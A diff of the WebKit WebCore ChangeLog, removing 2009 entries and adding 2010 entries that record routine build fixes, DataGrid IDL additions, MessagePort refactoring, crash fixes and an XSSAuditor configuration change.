+        Rubber stamped by Xan Lopez.
 
-        Reviewed by Sam Weinig.
+        Fixed compilation warning about unsigned vs signed comparison.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26615
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::paint):
 
-        Add IDL interface for datagrid cell elements.  Add a few more properties to the datagrid itself that
-        correspond to ones you find on <select> elements.
+2010-01-31  Kent Tamura  <tkent@chromium.org>
 
-        Add an expanded property to row elements.
+        Unreviewed. Revert r54112 and r54124 because of Windows build error.
 
-        * DerivedSources.cpp:
-        * DerivedSources.make:
+        * Android.mk:
         * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/HTMLAttributeNames.in:
-        * html/HTMLDataGridCellElement.cpp: Added.
-        (WebCore::HTMLDataGridCellElement::HTMLDataGridCellElement):
-        (WebCore::HTMLDataGridCellElement::label):
-        (WebCore::HTMLDataGridCellElement::setLabel):
-        (WebCore::HTMLDataGridCellElement::focused):
-        (WebCore::HTMLDataGridCellElement::setFocused):
-        (WebCore::HTMLDataGridCellElement::checked):
-        (WebCore::HTMLDataGridCellElement::setChecked):
-        (WebCore::HTMLDataGridCellElement::indeterminate):
-        (WebCore::HTMLDataGridCellElement::setIndeterminate):
-        (WebCore::HTMLDataGridCellElement::progress):
-        (WebCore::HTMLDataGridCellElement::setProgress):
-        * html/HTMLDataGridCellElement.h: Added.
-        (WebCore::HTMLDataGridCellElement::endTagRequirement):
-        (WebCore::HTMLDataGridCellElement::tagPriority):
-        * html/HTMLDataGridCellElement.idl: Added.
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::autofocus):
-        (WebCore::HTMLDataGridElement::setAutofocus):
-        (WebCore::HTMLDataGridElement::disabled):
-        (WebCore::HTMLDataGridElement::setDisabled):
-        (WebCore::HTMLDataGridElement::size):
-        (WebCore::HTMLDataGridElement::setSize):
-        * html/HTMLDataGridElement.h:
-        * html/HTMLDataGridElement.idl:
-        * html/HTMLDataGridRowElement.cpp:
-        (WebCore::HTMLDataGridRowElement::checkDTD):
-        (WebCore::HTMLDataGridRowElement::expanded):
-        (WebCore::HTMLDataGridRowElement::setExpanded):
-        * html/HTMLDataGridRowElement.h:
-        * html/HTMLDataGridRowElement.idl:
-        * html/HTMLElementsAllInOne.cpp:
-        * html/HTMLTagNames.in:
-
-2009-06-22  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Mark Rowe.
-
-        Add event handler attribute getter/setters to HTMLBodyElement
-        as specified in HTML 5.
-
-        - Removes erroneous inclusion of the onresize and onunload event
-        handler attributes in Element and Document.
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::scale):
+        (WebCore::CanvasRenderingContext2D::rotate):
+        (WebCore::CanvasRenderingContext2D::translate):
+        (WebCore::CanvasRenderingContext2D::transform):
+        (WebCore::CanvasRenderingContext2D::setTransform):
+        (WebCore::CanvasRenderingContext2D::isPointInPath):
+        (WebCore::CanvasRenderingContext2D::willDraw):
+        * html/canvas/CanvasRenderingContext2D.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/Path.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        * platform/graphics/cairo/GraphicsContextPlatformPrivateCairo.h:
+        * platform/graphics/cairo/PathCairo.cpp:
+        * platform/graphics/cairo/TransformationMatrixCairo.cpp:
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        * platform/graphics/cg/PathCG.cpp:
+        * platform/graphics/cg/TransformationMatrixCG.cpp:
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        * platform/graphics/haiku/PathHaiku.cpp:
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        * platform/graphics/qt/PathQt.cpp:
+        * platform/graphics/qt/TransformationMatrixQt.cpp:
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        * platform/graphics/skia/PathSkia.cpp:
+        * platform/graphics/skia/TransformationMatrixSkia.cpp:
+        * platform/graphics/transforms/AffineTransform.cpp: Removed.
+        * platform/graphics/transforms/AffineTransform.h: Removed.
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        * platform/graphics/wx/PathWx.cpp:
+        * platform/graphics/wx/TransformationMatrixWx.cpp:
+        (WebCore::TransformationMatrix::operator wxGraphicsMatrix):
 
-        * dom/Document.cpp:
-        (WebCore::Document::getWindowAttributeEventListener):
-        * dom/Document.h:
-        * dom/Document.idl:
-        * dom/Element.idl:
-        * dom/Node.cpp:
-        * dom/Node.h: onblur, onerror, onfocus, and onload all need to be declared
-        virtual, since their behavior for HTMLBodyElement differs from the base
-        implementation.
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::onblur):
-        (WebCore::HTMLBodyElement::setOnblur):
-        (WebCore::HTMLBodyElement::onerror):
-        (WebCore::HTMLBodyElement::setOnerror):
-        (WebCore::HTMLBodyElement::onfocus):
-        (WebCore::HTMLBodyElement::setOnfocus):
-        (WebCore::HTMLBodyElement::onload):
-        (WebCore::HTMLBodyElement::setOnload):
-        (WebCore::HTMLBodyElement::onbeforeunload):
-        (WebCore::HTMLBodyElement::setOnbeforeunload):
-        (WebCore::HTMLBodyElement::onmessage):
-        (WebCore::HTMLBodyElement::setOnmessage):
-        (WebCore::HTMLBodyElement::onoffline):
-        (WebCore::HTMLBodyElement::setOnoffline):
-        (WebCore::HTMLBodyElement::ononline):
-        (WebCore::HTMLBodyElement::setOnonline):
-        (WebCore::HTMLBodyElement::onresize):
-        (WebCore::HTMLBodyElement::setOnresize):
-        (WebCore::HTMLBodyElement::onstorage):
-        (WebCore::HTMLBodyElement::setOnstorage):
-        (WebCore::HTMLBodyElement::onunload):
-        (WebCore::HTMLBodyElement::setOnunload):
-        * html/HTMLBodyElement.h:
-        * html/HTMLBodyElement.idl:
-
-2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
+2010-01-31  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26601
-        Remove disabled code for appcache dynamic entries
-
-        This also removes code for DOM 3 Core DOMStringList, which we don't use for anything else yet.
-
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSDOMStringListCustom.cpp: Removed.
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMStringListCustom.cpp: Removed.
-        * dom/DOMStringList.cpp: Removed.
-        * dom/DOMStringList.h: Removed.
-        * dom/DOMStringList.idl: Removed.
-        * dom/StaticStringList.cpp: Removed.
-        * dom/StaticStringList.h: Removed.
-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::shouldLoadResourceFromApplicationCache):
-        * loader/appcache/ApplicationCache.cpp:
-        (WebCore::ApplicationCache::addResource):
-        * loader/appcache/ApplicationCache.h:
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
-        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
-        * loader/appcache/ApplicationCacheResource.cpp:
-        (WebCore::ApplicationCacheResource::dumpType):
-        * loader/appcache/ApplicationCacheResource.h:
-        (WebCore::ApplicationCacheResource::):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::storeUpdatedType):
-        * loader/appcache/DOMApplicationCache.cpp:
-        * loader/appcache/DOMApplicationCache.h:
-        * loader/appcache/DOMApplicationCache.idl:
-        * page/DOMWindow.idl:
-
-2009-06-22  Steve Falkenburg  <sfalken@apple.com>
-
-        Windows build fix.
-
-        * DerivedSources.cpp:
-        * html/HTMLElementsAllInOne.cpp:
-
-2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by John Sullivan.
-
-        <rdar://problem/6956606> REGRESSION (S4Beta -> Final): After the password is input,
-        Japanese can't be input.
-
-        WebKit uses a per-frame input context for most editable fields, and application's global
-        context for password fields, manually controlling secure input state and the list of available
-        input sources.
-
-        We were setting TSMDocument property to disable non-Roman input methods after focus changed
-        to a password field, but before selection was updated. This resulted in the property being
-        applied to a wrong TSMDocument in some cases, because TSMGetActiveDocument() uses input
-        context cached by +[NSApplication updateWindows], we change context based on selection,
-        not on focus.
-
-        * page/mac/FrameMac.mm: (WebCore::Frame::setUseSecureKeyboardEntry): Since there is only one
-        context that we use for password fields - the global one - there is no need to get the active
-        one.
-
-2009-06-22  David Levin  <levin@chromium.org>
-
-        Reviewed by David Hyatt and Eric Seidel.
-
-        REGRESSION: When the main page (ScrollView) has a custom scrollbar, it crashes on destruction.
-        https://bugs.webkit.org/show_bug.cgi?id=26326
-
-        Test: scrollbars/scrollbar-crash-on-refresh.html
-
-        * dom/Document.cpp:
-        (WebCore::Document::detach):
-        Gives the FrameView a change to do any necessary cleanup on
-        Document::detach() which is where the renderArena gets detroyed.
-        * page/FrameView.cpp:
-        (WebCore::FrameView::detachCustomScrollbars):
-        Gets rid of any custom scrollbars (if the docment supplied them).
-        * page/FrameView.h:
-        * platform/Scrollbar.h:
-        (WebCore::Scrollbar::isCustomScrollbar):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::destroy):
-        Removed the check for document()->frame().  If frame() is 0 in this code,
-        then the call to animation() is also incorrect (since it does document()->frame()->animation()).
-        * rendering/RenderScrollbar.h:
-        (WebCore::RenderScrollbar::isCustomScrollbar):
-
-2009-06-22  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=23606
-          <rdar://problem/6537777> CSS gradient not repainted when image load
-          completes
-
-        Test: fast/repaint/background-generated.html
-
-        * rendering/RenderObject.cpp:
-        (WebCore::mustRepaintFillLayers): Return true if the layer does not
-        specify a size and the image uses the container size.
-
-2009-06-22  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26607
-
-        Add IDL for HTMLDataGridRowElement.
-
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/HTMLAttributeNames.in:
-        * html/HTMLDataGridColElement.cpp:
-        (WebCore::HTMLDataGridColElement::primary):
-        (WebCore::HTMLDataGridColElement::setPrimary):
-        * html/HTMLDataGridColElement.h:
-        * html/HTMLDataGridColElement.idl:
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::checkDTD):
-        (WebCore::HTMLDataGridElement::multiple):
-        (WebCore::HTMLDataGridElement::setMultiple):
-        * html/HTMLDataGridElement.h:
-        * html/HTMLDataGridElement.idl:
-        * html/HTMLDataGridRowElement.cpp: Added.
-        (WebCore::HTMLDataGridRowElement::HTMLDataGridRowElement):
-        (WebCore::HTMLDataGridRowElement::selected):
-        (WebCore::HTMLDataGridRowElement::setSelected):
-        (WebCore::HTMLDataGridRowElement::focused):
-        (WebCore::HTMLDataGridRowElement::setFocused):
-        * html/HTMLDataGridRowElement.h: Added.
-        (WebCore::HTMLDataGridRowElement::tagPriority):
-        * html/HTMLDataGridRowElement.idl: Added.
-        * html/HTMLTagNames.in:
-
-2009-06-19  Yael Aharon <yael.aharon@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26556
-
-        Fix a crash in case that the QNetworkReply::readReady signal is
-        "stuck" in deferred mode due to JavaScript alert, and in the meantime,
-        QNetworkreply::finished signal is received and processed before
-        QNetworkReply::readReady is processed.
-
-        * manual-tests/qt/unload-alert.html: Added.
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::setLoadMode):
-        (WebCore::QNetworkReplyHandler::finish):
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
-        (WebCore::QNetworkReplyHandler::forwardData):
-        (WebCore::QNetworkReplyHandler::start):
-        (WebCore::QNetworkReplyHandler::sendQueuedItems):
-        * platform/network/qt/QNetworkReplyHandler.h:
-        (WebCore::QNetworkReplyHandler::):
-
-2009-06-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Fix the Qt build.
-
-        * WebCore.pro:
-
-2009-06-21  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Bug 25425: DOM attribute getter/setter functions should use const AtomicString& type
-        https://bugs.webkit.org/show_bug.cgi?id=25425
-
-        * bindings/scripts/CodeGeneratorJS.pm: Tweaked mechanism for includes to be a bit
-        more consistent and to make SVGElement.h be included in the header rather than in
-        every implementation file that includes the header. Added code to use getAttribute
-        and setAttribute directly when the [Reflect] extended attribute is used.
-
-        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
-
-        * html/HTMLElement.idl: Used [Reflect] for all the attributes in this class that
-        reflect content attributes. Restricting this to one class for now to keep the
-        patch small and start out slowly.
-
-2009-06-21  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26596
-        Only expose event handler attributes to elements and documents.
-
-        Test: fast/dom/event-attribute-availability.html
-
-        * dom/Document.idl:
-        * dom/Element.idl:
-        * dom/Node.cpp:
-        * dom/Node.h:
-        * dom/Node.idl:
-
-2009-06-21  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26580
-        
-        Fix to enable XSSAuditor on child windows.
-        
-        Test: http/tests/security/xssAuditor/link-opens-new-window.html
-        
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::XSSAuditor):
-        (WebCore::XSSAuditor::isEnabled):
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        * page/XSSAuditor.h: Removed method setXSSAuditorEnabled, and field m_isEnabled.
-        Moved implementation of isEnabled to XSSAuditor.cpp and changed implementation
-        to query Settings.
-
-2009-06-21  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY.
-
-        Speculative windows build fix (idea by Mark Rowe).
-
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-06-21  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY (Speculative gtk build fix).
-
-        * GNUmakefile.am:
-
-2009-06-21  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY.
-
-        Speculative tiger build fix and a windows build fix.
-        More fixes may still be in order.
-
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * dom/default/PlatformMessagePortChannel.h:
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::tryGetMessage):
-
-2009-06-21  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY (Speculative tiger build fix).
-
-        * dom/default/PlatformMessagePortChannel.h:
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::~MessagePortQueue):
-
-2009-06-21  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        <https://bugs.webkit.org/show_bug.cgi?id=26448>
-        
-        Added optimized GC for MessagePorts when the entangled port is run by the same thread.
-        Fixed bug in isProxyFor() that was not properly throwing an exception when trying to clone the entangled port.
-
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::markActiveObjectsForContext):
-        Now marks remotely entangled ports as in-use, in addition to those with pending activity.
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::mark):
-        Now checks if the entangled port is local (run by same thread) and if so mark()s it.
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::postMessage):
-        (WebCore::MessagePort::disentangle):
-        Removes cloned ports from the ScriptExecutionContext - this allows cloned ports to be GC'd as otherwise they look like remotely entangled ports.
-        (WebCore::MessagePort::start):
-        (WebCore::MessagePort::locallyEntangledPort):
-        Added API for fetching the entangled port if it is run by the same thread
-        * dom/MessagePort.h:
-        * dom/MessagePortProxyWrapper.h:
-        * dom/default/MessagePortProxy.cpp:
-        (WebCore::MessagePortProxyWrapper::locallyEntangledPort):
-        Added API for fetching the entangled port if it is run by the same thread        
-        (WebCore::MessagePortProxy::hasPendingActivity):
-        Changed definition of hasPendingActivity() to be stricter - only returns true if there are pending messages.
-        (WebCore::MessagePortProxy::locallyEntangledPort):
-        * dom/default/MessagePortProxy.h:
-
-2009-06-21  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        <https://bugs.webkit.org/show_bug.cgi?id=25043>
-        Removed obsolete MessagePort.startConversation(), active and onclose APIs.
-
-        Refactored MessagePortProxy into MessagePortChannel and a platform-dependent PlatformMessagePortChannel
-        implementation. Modified APIs to simplify cross-process implementations by moving the messaging code
-        entirely into the platform-dependent proxy.
-
-        Created a thread-safe default PlatformMessagePortChannel implementation.
-
-        Changed DOMWindow messaging to create the MessageEvent in the target ScriptExecutionContext to match how
-        cross-thread MessagePorts work.
-        
-        * GNUMakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-            Added MessagePortChannel/PlatformMessagePortChannel files.
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::mark):
-            Changed ports to not mark their entangled pair as reachable, per the spec.
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        * dom/MessageChannel.cpp:
-        (WebCore::MessageChannel::MessageChannel):
-            Updated to use PlatformMessagePortChannel::createChannel() to entangle the ports.
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::MessagePort):
-        (WebCore::MessagePort::~MessagePort):
-        (WebCore::MessagePort::postMessage):
-        (WebCore::MessagePort::disentangle):
-        (WebCore::MessagePort::messageAvailable):
-        (WebCore::MessagePort::start):
-        (WebCore::MessagePort::close):
-        (WebCore::MessagePort::entangle):
-        (WebCore::MessagePort::contextDestroyed):
-        (WebCore::MessagePort::dispatchMessages):
-        (WebCore::MessagePort::setOnmessage):
-        (WebCore::MessagePort::hasPendingActivity):
-            Changed these APIs to delegate to new PlatformMessagePortChannel APIs.
-        * dom/MessagePort.h:
-            Renamed isQueueOpen() to started().
-        * dom/MessagePort.idl:
-            Removed startConversation and onclose.
-        * dom/MessagePortProxy.h: Removed.
-        * dom/MessagePortChannel.cpp: Added.
-        (WebCore::MessagePortChannel::EventData::create):
-        (WebCore::MessagePortChannel::EventData::EventData):
-        (WebCore::MessagePortChannel::~MessagePortChannel):
-        * dom/MessagePortChannel.h: Added.
-        (WebCore::MessagePortChannel::EventData::message):
-        (WebCore::MessagePortChannel::EventData::channel):
-            Changed EventData to hold a reference to a MessagePortChannel object instead of a MessagePort to enable cross-thread messaging.
-        (WebCore::MessagePortChannel::MessagePortChannel):
-        (WebCore::MessagePortChannel::create):        
-        * dom/ScriptExecutionContext.cpp:
-        (WebCore:ScriptExecutionContext::dispatchMessagePortEvents):
-            Renamed isQueueOpen() to started().
-        * dom/default/PlatformMessagePortChannel.cpp: Added.
-        (WebCore::MessagePortChannel::entangleIfOpen):
-        (WebCore::MessagePortChannel::disentangle):
-        (WebCore::MessagePortChannel::postMessageToRemote):
-        (WebCore::MessagePortChannel::tryGetMessageFromRemote):
-        (WebCore::MessagePortChannel::close):
-        (WebCore::MessagePortChannel::isConnectedTo):
-        (WebCore::MessagePortChannel::hasPendingActivity):
-        (WebCore::PlatformMessagePortChannel::PlatformMessagePortChannel):
-        (WebCore::PlatformMessagePortChannel::~PlatformMessagePortChannel):
-        (WebCore::PlatformMessagePortChannel::createChannel):
-        (WebCore::PlatformMessagePortChannel::entangleIfOpen):
-        (WebCore::PlatformMessagePortChannel::disentangle):
-        (WebCore::PlatformMessagePortChannel::setRemotePort):
-        (WebCore::PlatformMessagePortChannel::remotePort):
-        (WebCore::PlatformMessagePortChannel::entangledChannel):
-        (WebCore::PlatformMessagePortChannel::setEntangledChannel):
-        (WebCore::PlatformMessagePortChannel::postMessageToRemote):
-        (WebCore::PlatformMessagePortChannel::tryGetMessageFromRemote):
-        (WebCore::PlatformMessagePortChannel::isConnectedTo):
-        (WebCore::PlatformMessagePortChannel::close):
-        (WebCore::PlatformMessagePortChannel::closeInternal):
-        (WebCore::PlatformMessagePortChannel::hasPendingActivity):
-        * dom/default/PlatformMessagePortChannel.h: Added.
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::create):
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::tryGetMessage):
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::appendAndCheckEmpty):
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::isEmpty):
-        (WebCore::PlatformMessagePortChannel::MessagePortQueue::MessagePortQueue):
-        * page/DOMWindow.cpp:
-        (WebCore::PostMessageTimer::PostMessageTimer):
-            Changed DOMWindow messaging to create the MessageEvent in the target ScriptExecutionContext to match how cross-thread MessagePorts work.
-        (WebCore::PostMessageTimer::event):
-        (WebCore::DOMWindow::postMessage):
-        (WebCore::DOMWindow::postMessageTimerFired):
-
-2009-06-21  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=15383
-          <rdar://problem/5682745> resize: vertical does not restrict to vertical
-          resize
-
-        Test: fast/css/resize-single-axis.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::resize): Ignore movement along the non-resizing
-        axis.
-
-2009-06-21  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Eric Seidel
+        Limit the scope of packing alignment to avoid MSVC C4103 warning.
+        https://bugs.webkit.org/show_bug.cgi?id=34390
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26578
-        event.currentTarget for listener registered on window should point to the window object like in Firefox
+        Use pack(push, 16) and pack(pop) to limit the scope of packing
+        alignment change.
 
-        Test: fast/events/event-trace.html
+        * bindings/js/JSSVGPODTypeWrapper.h:
 
-        * dom/Node.cpp:
-        (WebCore::Node::dispatchGenericEvent): Make the DOMWindow the currentTarget when events are dispatched
-        to it. We previously used the document because DOMWindow was not yet an EventTarget.
-
-2009-06-21  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=9694
-          resize value not compared
-
-        Test: fast/css/resize-value-compared.html
-
-        * rendering/style/StyleRareInheritedData.cpp:
-        (WebCore::StyleRareInheritedData::operator==): Compare the resize
-        member.
-
-2009-06-19  Alice Liu  <alice.liu@apple.com>
-
-        Fix https://bugs.webkit.org/show_bug.cgi?id=26568 
-        Repro crash animating GIF if previously used in a closed window's back/forward list
-        Also filed as <rdar://problem/6978362>
-
-        Reviewed by Maciej Stachowiak.
-
-        Can't test this bug with an automated layout test since it requires b/f caching 
-        * manual-tests/animated-gif-bfcache-crash.html: Added.
-        * manual-tests/resources/containsAnimatedGif.html: Added.
-
-        Adding checks for hostWindow() since there is no guarantee that the Page is alive
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::scrollRectIntoViewRecursively):
-        (WebCore::ScrollView::contentsToScreen):
-        (WebCore::ScrollView::screenToContents):
-        (WebCore::ScrollView::wheelEvent):
-
-2009-06-20  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26554
-        Shadowing of top and parent
-
-        * page/DOMWindow.idl:
-
-2009-06-20  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Fix <https://bugs.webkit.org/show_bug.cgi?id=15106>.
-        Bug 15106: REGRESSION: Can't drag text as element when user-select is set to none
-
-        We allow selections to begin within an element that has -webkit-user-select: none set,
-        unless the element is draggable as dragging should take priority over starting a selection.
-
-        Test: editing/selection/user-drag-element-and-user-select-none.html
-
-        * dom/Node.cpp:
-        (WebCore::Node::canStartSelection):
-
-2009-06-20  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Bug 26528: REGRESSION (r44674): Assertion in TextIterator::pushFullyClippedState while counting matches for "a" on apple.com
-        https://bugs.webkit.org/show_bug.cgi?id=26528
-        rdar://problem/6985329
-
-        * editing/TextIterator.cpp:
-        (WebCore::TextIterator::handleReplacedElement): When entering a text control,
-        start at the top of the shadow tree (by calling shadowTreeRootNode). Also
-        remove assumption that innerTextElement will never be 0 since RenderTextControl
-        doesn't really guarantee this.
-
-2009-06-20  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by NOBODY.
-
-        Speculative Qt build fix - add HTMLDataGridColElement to the build script.
-
-        * WebCore.pro:
-
-2009-06-19  Adam Barth  <abarth@webkit.org>
+2010-01-31  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26561
-
-        Remove a memcpy by retrieving the already existing copy of a string
-        instead of making a new one.
-
-        * bindings/js/ScriptSourceCode.h:
-        (WebCore::ScriptSourceCode::ScriptSourceCode):
-        (WebCore::ScriptSourceCode::source):
-        * bindings/js/StringSourceProvider.h:
-        (WebCore::StringSourceProvider::source):
-
-2009-06-19  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Steve Falkenburg.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26488
-        No Support for Single Finger or Two Finger Panning in Windows 7
-        
-        The code in WebCore allows us to interpret a Pan gesture as
-        a mousewheel event, and we are able to reuse the scrolling code.
-        Another constructor was created in WheelEventWin which takes data
-        better suited to the pan guesture than what was currently there. 
-        
-        Unable to add tests to simulate touch behavior/gestures.
-
-        * platform/PlatformWheelEvent.h:
-        * platform/win/WheelEventWin.cpp:
-
-2009-06-19  Chris Marrin  <cmarrin@apple.com>
-
-        Fixed a build error, which only shows up in the i386 compile
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::animateTransform):
-
-2009-06-19  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        <rdar://problem/6988385> REGRESSION: In full page video player, movie's
-        video track becomes detached from its controller.
-        
-        When in the media document, the MediaPlayer should not report that it
-        is capable of hardware acceleration, because it renders via a QTMovieView
-        which is already accelerated.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
-
-2009-06-19  Kevin Ollivier  <kevino@theolliviers.com>
-
-        Adding XSSAuditor.cpp to the wx build.
-
-        * WebCoreSources.bkl:
-
-2009-06-19  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26544
-
-        If I am doing a Matrix hardware animation and any matrix is singular, I revert to software.
-        This is not really testable, since we can't see what the hardware animation is doing.
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::animateTransform):
-
-2009-06-19  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-        
-        An additional fix for Bug 26532: Native functions do not correctly unlink
-        from optimised callsites when they're collected
-        <https://bugs.webkit.org/show_bug.cgi?id=26532> | <rdar://problem/6625385>
-
-        Use "NativeFunctionWrapper" instead of "PrototypeFunction" in cross-frame
-        accessors, so the type of object you get to wrap a function is the same,
-        regardless of whether the access to the function is cross-frame.
-        
-        This is faster and more idiomatic than what we had before. It also would
-        have avoided Bug 26532 because it would have prevented a conflicting
-        PrototypeFunction from being allocated to wrap postMessage, where a
-        NativeFunctionWrapper had been allocated previously.
-        
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::objectToStringFunctionGetter):
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::nonCachingStaticFunctionGetter):
-        * bindings/js/JSHistoryCustom.cpp:
-        (WebCore::nonCachingStaticBackFunctionGetter):
-        (WebCore::nonCachingStaticForwardFunctionGetter):
-        (WebCore::nonCachingStaticGoFunctionGetter):
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::nonCachingStaticReplaceFunctionGetter):
-        (WebCore::nonCachingStaticReloadFunctionGetter):
-        (WebCore::nonCachingStaticAssignFunctionGetter):
-
-2009-06-19  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by John Sullivan
-
-        <rdar://problem/6953673> Crash in RenderLayerCompositor::setCompositingParent
-        
-        Fix a crash that could occur in complex content due to timing issues
-        when doing a partial layer tree rebuild which is required when painting;
-        setCompositingParent() could be called with a parent which has not been made
-        compositing yet.
-
-2009-06-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Build fix. Adding missing HTMLDataGrid* files to the build.
-
-        * GNUmakefile.am:
-
-2009-06-19  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26460 part three
-        Make BMPImageReader a standalone class that is used by ICOImageDecoder
-        and BMPImageDecoder to decode individual BMPs within a file.  These
-        decoders now inherit directly from ImageDecoder.
-        
-        This also makes these decoders decode on-demand in isSizeAvailable() and
-        frameBufferAtIndex(), like the other decoders, instead of when setData()
-        is called, like before.  This should provide a speedup on pages
-        containing BMPs that aren't immediately onscreen.
-
